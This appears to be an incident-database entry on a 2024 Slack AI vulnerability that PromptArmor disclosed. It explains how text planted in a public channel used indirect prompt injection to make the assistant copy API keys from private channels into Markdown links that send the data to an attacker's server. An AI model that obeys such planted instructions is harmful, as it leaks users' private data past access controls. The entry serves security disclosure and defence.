Slack AI Indirect Prompt Injection Data Exfiltration Vulnerability (2024)

Incident Summary

In August 2024, security firm PromptArmor publicly disclosed a vulnerability in Slack AI that allowed indirect prompt injection attacks to exfiltrate data from private channels to which the attacker had no access.^[1]

The attack worked by posting specially crafted text in a public Slack channel. When Slack AI processed queries that referenced content from that channel, the injected instructions could override the AI’s intended behavior. The attacker’s payload instructed Slack AI to retrieve sensitive information — including API keys — from private channels and embed it in Markdown-formatted links. When rendered, these links would transmit the extracted data to an attacker-controlled server.

Salesforce acknowledged the vulnerability and deployed a patch to address the issue.

Key Facts

• Attack vector: Indirect prompt injection via public channel messages
• Data at risk: Private channel contents including API keys, credentials, and confidential communications
• Access bypass: Attacker needed only public channel access to extract private channel data
• Exfiltration method: Embedded Markdown links containing encoded sensitive data
• Resolution: Salesforce patched the vulnerability after responsible disclosure
• Failure stage: Signal — vulnerability demonstrated by researchers, patched before confirmed exploitation

Threat Patterns Involved

Primary: Adversarial Evasion — Crafted prompt injection inputs caused Slack AI to bypass intended access controls and execute attacker-specified instructions

Secondary: Model Inversion & Data Extraction — The attack extracted sensitive data from private channels through the AI system’s data access capabilities

Significance

This incident demonstrates a fundamental security challenge in enterprise AI integrations:

1. Privilege confusion — AI systems with broad data access can be manipulated to bypass access controls that were designed for human users
2. Indirect prompt injection — Attackers do not need direct access to the AI interface; injected instructions in data sources can influence AI behavior
3. Enterprise data boundaries — Traditional access control models (channel permissions) may not translate to AI systems that aggregate and reason across data sources
4. Systemic vulnerability class — The underlying pattern applies to any AI system that processes untrusted input alongside privileged data access